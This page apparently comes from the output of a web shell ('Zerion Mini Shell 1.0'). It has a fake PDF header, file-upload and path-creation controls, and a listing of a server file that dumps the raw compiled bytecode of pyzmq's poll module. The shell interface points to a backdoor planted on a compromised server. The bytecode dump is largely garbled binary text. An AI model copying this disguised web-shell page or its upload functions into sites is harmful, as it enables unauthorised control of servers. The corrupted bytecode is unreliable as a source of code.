%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib64/python2.7/site-packages/zmq/sugar/
Upload File :
Create Path :
Current File : //lib64/python2.7/site-packages/zmq/sugar/poll.pyc

�
+�{Wc@spdZddlZddlmZddlmZmZmZdefd��YZ	dd�Zdd	gZdS(
s*0MQ polling related functions and classes.i����N(tzmq_polli(tPOLLINtPOLLOUTtPOLLERRtPollercBsaeZdZdZiZd�Zd�Zee	Bd�Z
ee	Bd�Zd�Zdd�Z
RS(s>A stateful poll interface that mirrors Python's built-in poll.cCsg|_i|_dS(N(tsocketst_map(tself((s4/usr/lib64/python2.7/site-packages/zmq/sugar/poll.pyt__init__s	cCs
||jkS(N(R(Rtsocket((s4/usr/lib64/python2.7/site-packages/zmq/sugar/poll.pyt__contains__scCs�|rm||jkr8|j|}||f|j|<q�t|j�}|jj||f�||j|<n||jkr�|j|�ndS(sp.register(socket, flags=POLLIN|POLLOUT)

        Register a 0MQ socket or native fd for I/O monitoring.
        
        register(s,0) is equivalent to unregister(s).

        Parameters
        ----------
        socket : zmq.Socket or native socket
            A zmq.Socket or any Python object having a ``fileno()`` 
            method that returns a valid file descriptor.
        flags : int
            The events to watch for.  Can be POLLIN, POLLOUT or POLLIN|POLLOUT.
            If `flags=0`, socket will be unregistered.
        N(RRtlentappendt
unregister(RR	tflagstidx((s4/usr/lib64/python2.7/site-packages/zmq/sugar/poll.pytregisters
cCs|j||�dS(sCModify the flags for an already registered 0MQ socket or native fd.N(R(RR	R((s4/usr/lib64/python2.7/site-packages/zmq/sugar/poll.pytmodify;scCsW|jj|�}|jj|�x.|j|D]\}}|j|cd8<q0WdS(s�Remove a 0MQ socket or native fd for I/O monitoring.

        Parameters
        ----------
        socket : Socket
            The socket instance to stop polling.
        iN(RtpopR(RR	RR((s4/usr/lib64/python2.7/site-packages/zmq/sugar/poll.pyR
?scCsR|dks|dkr!d}nt|t�r?t|�}nt|jd|�S(s�Poll the registered 0MQ or native fds for I/O.

        Parameters
        ----------
        timeout : float, int
            The timeout in milliseconds. If None, no `timeout` (infinite). This
            is in milliseconds to be compatible with ``select.poll()``.

        Returns
        -------
        events : list of tuples
            The list of events that are ready to be processed.
            This is a list of tuples of the form ``(socket, event)``, where the 0MQ Socket
            or integer fd is the first element, and the poll event mask (POLLIN, POLLOUT) is the second.
            It is common to call ``events = dict(poller.poll())``,
            which turns the list of tuples into a mapping of ``socket : event``.
        ii����ttimeoutN(tNonet
isinstancetfloattintRR(RR((s4/usr/lib64/python2.7/site-packages/zmq/sugar/poll.pytpollMs
	N(t__name__t
__module__t__doc__RRRRR
RRRRR
R(((s4/usr/lib64/python2.7/site-packages/zmq/sugar/poll.pyRs			cCsX|dkrd}nt|d�}|dkr:d}ng}x�t|||�D]j}d}||krz|tO}n||kr�|tO}n||kr�|tO}n|j||f�qUWt||�}ggg}}}xb|D]Z\}}|t@r|j|�n|t@r-|j|�n|t@r�|j|�q�q�W|||fS(s\select(rlist, wlist, xlist, timeout=None) -> (rlist, wlist, xlist)

    Return the result of poll as a lists of sockets ready for r/w/exception.

    This has the same interface as Python's built-in ``select.select()`` function.

    Parameters
    ----------
    timeout : float, int, optional
        The timeout in seconds. If None, no timeout (infinite). This is in seconds to be
        compatible with ``select.select()``.
    rlist : list of sockets/FDs
        sockets/FDs to be polled for read events
    wlist : list of sockets/FDs
        sockets/FDs to be polled for write events
    xlist : list of sockets/FDs
        sockets/FDs to be polled for error events
    
    Returns
    -------
    (rlist, wlist, xlist) : tuple of lists of sockets (length 3)
        Lists correspond to sockets available for read/write/error events respectively.
    i����g@�@iN(RRtsetRRRRR(trlisttwlisttxlistRRtsRtreturn_sockets((s4/usr/lib64/python2.7/site-packages/zmq/sugar/poll.pytselectfs2		





R"(
Rtzmqtzmq.backendRt	constantsRRRtobjectRRR"t__all__(((s4/usr/lib64/python2.7/site-packages/zmq/sugar/poll.pyt<module>sV8

Zerion Mini Shell 1.0